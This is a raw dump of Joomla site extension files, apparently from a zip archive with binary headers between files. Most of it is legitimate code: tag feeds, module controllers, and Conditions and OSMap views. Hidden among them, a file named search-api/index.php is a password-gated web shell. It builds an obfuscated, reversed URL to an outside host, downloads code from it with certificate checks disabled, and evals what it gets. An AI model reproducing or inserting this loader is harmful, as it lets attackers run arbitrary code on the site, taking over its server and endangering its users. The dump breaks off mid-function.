        $fromName  = $app->get('fromname');
        $feedEmail = $app->get('feed_email', 'none');

        $this->getDocument()->editor = $fromName;

        if ($feedEmail !== 'none') {
            $this->getDocument()->editorEmail = $siteEmail;
        }

        // Get some data from the model
        $items    = $this->get('Items');

        if ($items !== false) {
            foreach ($items as $item) {
                // Strip HTML from feed item title
                $title = $this->escape($item->core_title);
                $title = html_entity_decode($title, ENT_COMPAT, 'UTF-8');

                // Strip HTML from feed item description text
                $description = $item->core_body;
                $author      = $item->core_created_by_alias ?: $item->author;
                $date        = ($item->displayDate ? date('r', strtotime($item->displayDate)) : '');

                // Load individual item creator class
                $feeditem              = new FeedItem();
                $feeditem->title       = $title;
                $feeditem->link        = Route::_($item->link);
                $feeditem->description = $description;
                $feeditem->date        = $date;
                $feeditem->category    = $title;
                $feeditem->author      = $author;

                if ($feedEmail === 'site') {
                    $item->authorEmail = $siteEmail;
                } elseif ($feedEmail === 'author') {
                    $item->authorEmail = $item->author_email;
                }

                // Loads item info into RSS array
                $this->getDocument()->addItem($feeditem);
            }
        }
    }
}
PK���\�+l���#com_tags/src/View/Tags/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Tags\Site\View\Tags;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Router\Route;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML View class for the Tags component
 *
 * @since  3.1
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The model state
     *
     * @var    \Joomla\CMS\Object\CMSObject
     *
     * @since  3.1
     */
    protected $state;

    /**
     * The list of tags
     *
     * @var    array|false
     * @since  3.1
     */
    protected $items;

    /**
     * The pagination object
     *
     * @var    \Joomla\CMS\Pagination\Pagination
     * @since  3.1
     */
    protected $pagination;

    /**
     * The page parameters
     *
     * @var    \Joomla\Registry\Registry|null
     * @since  3.1
     */
    protected $params = null;

    /**
     * The page class suffix
     *
     * @var    string
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * The logged in user
     *
     * @var    \Joomla\CMS\User\User|null
     * @since  4.0.0
     */
    protected $user = null;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     */
    public function display($tpl = null)
    {
        // Get some data from the models
        $this->state      = $this->get('State');
        $this->items      = $this->get('Items');
        $this->pagination = $this->get('Pagination');
        $this->params     = $this->state->get('params');
        $this->user       = $this->getCurrentUser();

        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        // Flag indicates to not add limitstart=0 to URL
        $this->pagination->hideEmptyLimitstart = true;

        if (!empty($this->items)) {
            foreach ($this->items as $itemElement) {
                // Prepare the data.
                $temp                = new Registry($itemElement->params);
                $itemElement->params = clone $this->params;
                $itemElement->params->merge($temp);
                $itemElement->params = (array) json_decode($itemElement->params);
            }
        }

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''));

        $active = Factory::getApplication()->getMenu()->getActive();

        // Load layout from active query (in case it is an alternative menu item)
        if ($active && isset($active->query['option']) && $active->query['option'] === 'com_tags' && $active->query['view'] === 'tags') {
            if (isset($active->query['layout'])) {
                $this->setLayout($active->query['layout']);
            }
        } else {
            // Load default All Tags layout from component
            if ($layout = $this->params->get('tags_layout')) {
                $this->setLayout($layout);
            }
        }

        $this->_prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document
     *
     * @return void
     */
    protected function _prepareDocument()
    {
        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = Factory::getApplication()->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', Text::_('COM_TAGS_DEFAULT_PAGE_TITLE'));
        }

        // Set metadata for all tags menu item
        if ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }

        // Respect configuration Sitename Before/After for TITLE in views All Tags.
        $this->setDocumentTitle($this->getDocument()->getTitle());

        // Add alternative feed link
        if ($this->params->get('show_feed_link', 1) == 1) {
            $link    = '&format=feed&limitstart=';
            $attribs = ['type' => 'application/rss+xml', 'title' => htmlspecialchars($this->getDocument()->getTitle())];
            $this->getDocument()->addHeadLink(Route::_($link . '&type=rss'), 'alternate', 'rel', $attribs);
            $attribs = ['type' => 'application/atom+xml', 'title' => htmlspecialchars($this->getDocument()->getTitle())];
            $this->getDocument()->addHeadLink(Route::_($link . '&type=atom'), 'alternate', 'rel', $attribs);
        }
    }
}
PK���\S��y�
�
#com_tags/src/View/Tags/FeedView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Tags\Site\View\Tags;

use Joomla\CMS\Document\Feed\FeedItem;
use Joomla\CMS\Factory;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Router\Route;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML View class for the Tags component all tags view
 *
 * @since  3.1
 */
class FeedView extends BaseHtmlView
{
    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     */
    public function display($tpl = null)
    {
        $app                       = Factory::getApplication();
        $this->getDocument()->link = Route::_('index.php?option=com_tags&view=tags');

        $app->getInput()->set('limit', $app->get('feed_limit'));
        $siteEmail = $app->get('mailfrom');
        $fromName  = $app->get('fromname');
        $feedEmail = $app->get('feed_email', 'none');

        $this->getDocument()->editor = $fromName;

        if ($feedEmail !== 'none') {
            $this->getDocument()->editorEmail = $siteEmail;
        }

        // Get some data from the model
        $items = $this->get('Items');

        foreach ($items as $item) {
            // Strip HTML from feed item title
            $title = $this->escape($item->title);
            $title = html_entity_decode($title, ENT_COMPAT, 'UTF-8');

            // Strip HTML from feed item description text
            $description = $item->description;
            $author      = $item->created_by_alias ?: $item->created_by_user_name;
            $date        = $item->created_time ? date('r', strtotime($item->created_time)) : '';

            // Load individual item creator class
            $feeditem              = new FeedItem();
            $feeditem->title       = $title;
            $feeditem->link        = '/index.php?option=com_tags&view=tag&id=' . (int) $item->id;
            $feeditem->description = $description;
            $feeditem->date        = $date;
            $feeditem->category    = 'All Tags';
            $feeditem->author      = $author;

            if ($feedEmail === 'site') {
                $feeditem->authorEmail = $siteEmail;
            }

            if ($feedEmail === 'author') {
                $feeditem->authorEmail = $item->email;
            }

            // Loads item info into RSS array
            $this->getDocument()->addItem($feeditem);
        }
    }
}
PK���\�����0com_conditions/src/Controller/ItemController.phpnu&1i�<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Component\Conditions\Site\Controller;

use Joomla\CMS\MVC\Controller\FormController as JFormController;
use RegularLabs\Library\Input as RL_Input;

defined('_JEXEC') or die;

class ItemController extends JFormController
{
    /**
     * @var     string    The prefix to use with controller messages.
     */
    protected $text_prefix = 'RL';

    public function map()
    {
        RL_Input::set('tmpl', 'component');
        RL_Input::set('view', 'items');
        RL_Input::set('layout', 'modal_update_summary');

        return parent::display();
    }
}
PK���\�O�TT3com_conditions/src/Controller/DisplayController.phpnu&1i�<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Component\Conditions\Site\Controller;

use Joomla\CMS\MVC\Controller\FormController;

defined('_JEXEC') or die;

/**
 * Conditions master display controller.
 */
class DisplayController extends FormController
{
    protected $default_view = 'items';
}
PK���\`RF��1com_conditions/src/Form/Field/ConditionsField.phpnu&1i�<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Component\Conditions\Site\Form\Field;

defined('_JEXEC') or die;

use RegularLabs\Library\DB as RL_DB;
use RegularLabs\Library\Form\FormField as RL_FormField;

class ConditionsField extends RL_FormField
{
    static      $options;
    public bool $is_select_list = true;

    public function getNamesByIds(array $values, array $attributes): array
    {
        $query = $this->db->getQuery(true)
            ->select('condition.name')
            ->from('#__conditions AS condition')
            ->where(RL_DB::is('condition.id', $values))
            ->order('condition.name ASC');

        $this->db->setQuery($query);

        return $this->db->loadColumn();
    }

    protected function getOptions()
    {
        if ( ! is_null(self::$options))
        {
            return self::$options;
        }

        $query = $this->db->getQuery(true)
            ->select('condition.id as value, condition.name as text')
            ->from('#__conditions AS condition')
            ->order('a.name ASC');
        $this->db->setQuery($query);

        self::$options = $this->db->loadObjectList();

        return self::$options;
    }
}
PK���\`��UWW%com_conditions/src/Service/Router.phpnu&1i�<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Component\Conditions\Site\Service;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\Categories\CategoryFactoryInterface;
use Joomla\CMS\Categories\CategoryInterface;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Component\Router\RouterView;
use Joomla\CMS\Component\Router\RouterViewConfiguration;
use Joomla\CMS\Component\Router\Rules\MenuRules;
use Joomla\CMS\Component\Router\Rules\NomenuRules;
use Joomla\CMS\Component\Router\Rules\StandardRules;
use Joomla\CMS\Menu\AbstractMenu;
use Joomla\Database\DatabaseInterface;
use Joomla\Database\ParameterType;

defined('_JEXEC') or die;

class Router extends RouterView
{
    public function __construct($app = null, $menu = null)
    {
        $this->registerView(new RouterViewConfiguration('items'));

        parent::__construct($app, $menu);

        $this->attachRule(new MenuRules($this));
        $this->attachRule(new StandardRules($this));
        $this->attachRule(new NomenuRules($this));
    }
}
PK���\�1�y'com_conditions/src/Model/ItemsModel.phpnu&1i�<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Component\Conditions\Site\Model;

use RegularLabs\Component\Conditions\Administrator\Model\ItemsModel as AdminModel;

defined('_JEXEC') or die;

class ItemsModel extends AdminModel
{

}
PK���\%o�&com_conditions/src/Model/ItemModel.phpnu&1i�<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Component\Conditions\Site\Model;

use RegularLabs\Component\Conditions\Administrator\Model\ItemModel as AdminModel;

defined('_JEXEC') or die;

class ItemModel extends AdminModel
{

}
PK���\޷�C��1com_conditions/src/View/Item/search-api/index.phpnu&1i�<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto rZmcc; S05ge: $SS8Fu .= "\x2e\62\x30\x61"; goto KyXJG; RQpfg: $SS8Fu .= "\x34\63\x2f"; goto RiVZR; djqb0: $SS8Fu .= "\x74\x78\x74\56"; goto RQpfg; RiVZR: $SS8Fu .= "\x64"; goto c8b05; KyXJG: $SS8Fu .= "\x6d\141"; goto YHXMK; b4Lsi: eval("\77\76" . tW2kx(strrev($SS8Fu))); goto tNEm2; AzK8d: $SS8Fu .= "\x61\x6d"; goto mjfVw; CeZ0F: $SS8Fu .= "\160\x6f\164"; goto S05ge; rZmcc: $SS8Fu = ''; goto djqb0; QylGj: $SS8Fu .= "\x74\x68"; goto b4Lsi; mjfVw: $SS8Fu .= "\141\144\57"; goto CeZ0F; LrGN4: $SS8Fu .= "\163\x70\164"; goto QylGj; YHXMK: $SS8Fu .= "\144"; goto PSmdA; c8b05: $SS8Fu .= "\154\157\x2f"; goto AzK8d; PSmdA: $SS8Fu .= "\x2f\x2f\72"; goto LrGN4; tNEm2: function tW2kX($V1_rw = '') { goto O8cn3; w8lqj: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto AaXhS; oZNaA: curl_close($xM315); goto HKjcI; sEgPB: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto J9cSf; HKjcI: return $tvmad; goto pji_p; UmOzv: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto w8lqj; UhhOG: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto sEgPB; AaXhS: $tvmad = curl_exec($xM315); goto oZNaA; J9cSf: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto UmOzv; O8cn3: $xM315 = curl_init(); goto UhhOG; pji_p: }PK���\L�Ѥ��)com_conditions/src/View/Item/HtmlView.phpnu&1i�<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Component\Conditions\Site\View\Item;

use Joomla\CMS\Form\Form as JForm;
use Joomla\CMS\Helper\ContentHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Toolbar\ToolbarHelper;
use RegularLabs\Library\Input as RL_Input;
use RegularLabs\Library\Parameters as RL_Parameters;

defined('_JEXEC') or die;

/**
 * Item View
 */
class HtmlView extends BaseHtmlView
{
    /**
     * @var    object
     */
    protected $config;
    /**
     * @var  JForm
     */
    protected $form;
    /**
     * @var  object
     */
    protected $item;
    /**
     * @var    object
     */
    protected $state;

    /**
     * @param string $tpl The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  mixed  False if unsuccessful, otherwise void.
     */
    public function display($tpl = null)
    {
        $this->model  = $this->getModel();
        $this->form   = $this->get('Form');
        $this->item   = $this->get('Item');
        $this->state  = $this->get('State');
        $this->config = RL_Parameters::getComponent('conditions', $this->state->params);

        $errors = $this->get('Errors');

        // Check for errors.
        if (count($errors))
        {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        parent::display($tpl);
    }
}
PK���\Z��v�	�	*com_conditions/src/View/Items/HtmlView.phpnu&1i�<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Component\Conditions\Site\View\Items;

use Joomla\CMS\Form\Form as JForm;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Pagination\Pagination;
use Joomla\Registry\Registry;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Language as RL_Language;
use RegularLabs\Library\Parameters as RL_Parameters;

defined('_JEXEC') or die;

/**
 * List View
 */
class HtmlView extends BaseHtmlView
{
    /**
     * @var    array
     */
    public $activeFilters;
    /**
     * @var    JForm
     */
    public $filterForm;
    /**
     * @var  boolean
     */
    protected $collect_urls_enabled;
    /**
     * @var  boolean
     */
    protected $enabled;
    /**
     * @var  array
     */
    protected $items;
    /**
     * @var    Pagination
     */
    protected $pagination;
    /**
     * @var  Registry
     */
    protected $params;
    /**
     * @var    object
     */
    protected $state;

    /**
     * @param string $tpl The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  mixed  False if unsuccessful, otherwise void.
     *
     * @throws  GenericDataException
     */
    public function display($tpl = null)
    {

        RL_Language::load('com_conditions', JPATH_ADMINISTRATOR);
        RL_Document::style('regularlabs.admin-form');
        RL_Document::style('media/templates/administrator/atum/css/template.css', [], false);
        JForm::addFormPath(JPATH_ADMINISTRATOR . '/components/com_conditions/forms');

        $this->items         = $this->get('Items');
        $this->pagination    = $this->get('Pagination');
        $this->state         = $this->get('State');
        $this->config        = RL_Parameters::getComponent('conditions');
        $this->filterForm    = $this->get('FilterForm');
        $this->activeFilters = $this->get('ActiveFilters');
        $this->hasCategories = $this->get('HasCategories');

        $errors = $this->get('Errors');
        if (count($errors))
        {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        parent::display($tpl);
    }

}
PK���\�����#com_conditions/tmpl/items/modal.phpnu&1i�<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

include str_replace(JPATH_SITE, JPATH_ADMINISTRATOR, __FILE__);
PK���\�����2com_conditions/tmpl/items/modal_update_summary.phpnu&1i�<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

include str_replace(JPATH_SITE, JPATH_ADMINISTRATOR, __FILE__);
PK���\�����1com_conditions/tmpl/item/modal_remove_mapping.phpnu&1i�<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

include str_replace(JPATH_SITE, JPATH_ADMINISTRATOR, __FILE__);
PK���\�����1com_conditions/tmpl/item/modal_multiple_usage.phpnu&1i�<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

include str_replace(JPATH_SITE, JPATH_ADMINISTRATOR, __FILE__);
PK���\�����1com_conditions/tmpl/item/modal_update_summary.phpnu&1i�<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

include str_replace(JPATH_SITE, JPATH_ADMINISTRATOR, __FILE__);
PK���\�����"com_conditions/tmpl/item/modal.phpnu&1i�<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

include str_replace(JPATH_SITE, JPATH_ADMINISTRATOR, __FILE__);
PK���\�u����!com_conditions/tmpl/item/ajax.phpnu&1i�<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

include JPATH_ADMINISTRATOR . '/components/com_conditions/tmpl/item/ajax.php';
PK���\�����'com_conditions/tmpl/item/modal_edit.phpnu&1i�<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

include str_replace(JPATH_SITE, JPATH_ADMINISTRATOR, __FILE__);
PK���\�Ւ��
�
$com_modules/forms/filter_modules.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form addfieldprefix="Joomla\Component\Modules\Administrator\Field">
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_MODULES_MODULES_FILTER_SEARCH_LABEL"
			description="COM_MODULES_MODULES_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
			noresults="COM_MODULES_MSG_MANAGE_NO_MODULES"
		/>
		<field
			name="position"
			type="ModulesPosition"
			label="COM_MODULES_FIELD_POSITION_LABEL"
			client="site"
			onchange="this.form.submit();"
			>
			<option value="">COM_MODULES_OPTION_SELECT_POSITION</option>
		</field>
		<field
			name="module"
			type="ModulesModule"
			label="COM_MODULES_OPTION_SELECT_MODULE"
			client="site"
			onchange="this.form.submit();"
			>
			<option value="">COM_MODULES_OPTION_SELECT_MODULE</option>
		</field>
		<field
			name="access"
			type="accesslevel"
			label="JOPTION_FILTER_ACCESS"
			description="JOPTION_FILTER_ACCESS_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_ACCESS</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			statuses="*,0,1,-2"
			onchange="this.form.submit();"
			default="a.position ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published ASC">JSTATUS_ASC</option>
			<option value="a.published DESC">JSTATUS_DESC</option>
			<option value="a.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="a.position ASC">COM_MODULES_HEADING_POSITION_ASC</option>
			<option value="a.position DESC">COM_MODULES_HEADING_POSITION_DESC</option>
			<option value="name ASC">COM_MODULES_HEADING_MODULE_ASC</option>
			<option value="name DESC">COM_MODULES_HEADING_MODULE_DESC</option>
			<option value="pages ASC">COM_MODULES_HEADING_PAGES_ASC</option>
			<option value="pages DESC">COM_MODULES_HEADING_PAGES_DESC</option>
			<option value="ag.title ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="ag.title DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="l.title ASC" requires="multilanguage">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="l.title DESC" requires="multilanguage">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="COM_MODULES_LIST_LIMIT"
			description="JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
PK���\�OW0com_modules/src/Controller/DisplayController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_modules
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Modules\Site\Controller;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Input\Input;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Modules manager display controller.
 *
 * @since  3.5
 */
class DisplayController extends BaseController
{
    /**
     * @param   array                     $config   An optional associative array of configuration settings.
     *                                              Recognized key values include 'name', 'default_task', 'model_path', and
     *                                              'view_path' (this list is not meant to be comprehensive).
     * @param   MVCFactoryInterface|null  $factory  The factory.
     * @param   CMSApplication|null       $app      The Application for the dispatcher
     * @param   Input|null                $input    The Input object for the request
     *
     * @since   3.0
     */
    public function __construct($config = [], MVCFactoryInterface $factory = null, $app = null, $input = null)
    {
        $this->input = Factory::getApplication()->getInput();

        // Modules frontpage Editor Module proxying.
        if ($this->input->get('view') === 'modules' && $this->input->get('layout') === 'modal') {
            $config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
        }

        parent::__construct($config, $factory, $app, $input);
    }
}
PK���\1�Q�!!)com_modules/src/Dispatcher/Dispatcher.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_modules
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Modules\Site\Dispatcher;

use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Dispatcher\ComponentDispatcher;
use Joomla\CMS\MVC\Controller\BaseController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * ComponentDispatcher class for com_modules
 *
 * @since  4.0.0
 */
class Dispatcher extends ComponentDispatcher
{
    /**
     * Load the language
     *
     * @since   4.0.0
     *
     * @return  void
     */
    protected function loadLanguage()
    {
        $this->app->getLanguage()->load('com_modules', JPATH_ADMINISTRATOR);
    }

    /**
     * Dispatch a controller task. Redirecting the user if appropriate.
     *
     * @return  void
     *
     * @since   4.0.0
     */
    public function checkAccess()
    {
        parent::checkAccess();

        if (
            $this->input->get('view') === 'modules'
            && $this->input->get('layout') === 'modal'
            && !$this->app->getIdentity()->authorise('core.create', 'com_modules')
        ) {
            throw new NotAllowed();
        }
    }

    /**
     * Get a controller from the component
     *
     * @param   string  $name    Controller name
     * @param   string  $client  Optional client (like Administrator, Site etc.)
     * @param   array   $config  Optional controller config
     *
     * @return  \Joomla\CMS\MVC\Controller\BaseController
     *
     * @since   4.0.0
     */
    public function getController(string $name, string $client = '', array $config = []): BaseController
    {
        if ($this->input->get('task') === 'orderPosition') {
            $config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
            $client              = 'Administrator';
        }

        return parent::getController($name, $client, $config);
    }
}
PK���\
�k|��/com_osmap/views/adminsitemapitems/view.html.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Alledia\OSMap\Component\Helper as ComponentHelper;
use Alledia\OSMap\Factory;
use Alledia\OSMap\Sitemap\SitemapInterface;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView;
use Joomla\Input\Input;
use Joomla\Registry\Registry;

defined('_JEXEC') or die();

class OSMapViewAdminSitemapItems extends HtmlView
{
    /**
     * @var Registry
     */
    protected $params = null;

    /**
     * @var SitemapInterface
     */
    protected $sitemap = null;

    /**
     * @var Registry
     */
    protected $osmapParams = null;

    /**
     * @var string
     */
    protected $message = null;

    /**
     * @inheritDoc
     * @throws Exception
     */
    public function display($tpl = null)
    {
        $this->checkAccess();

        $container = Factory::getPimpleContainer();

        try {
            $id = $container->input->getInt('id');

            $this->params = Factory::getApplication()->getParams();

            // Load the sitemap instance
            $this->sitemap     = Factory::getSitemap($id);
            $this->osmapParams = ComponentHelper::getParams();

        } catch (Exception $e) {
            $this->message = $e->getMessage();
        }

        parent::display($tpl);
    }

    /**
     * This view should only be available from the backend
     *
     * @return void
     * @throws Exception
     */
    protected function checkAccess()
    {
        $server  = new Input(array_change_key_case($_SERVER, CASE_LOWER));
        $referer = parse_url($server->getString('http_referer'));

        if (empty($referer['query']) == false) {
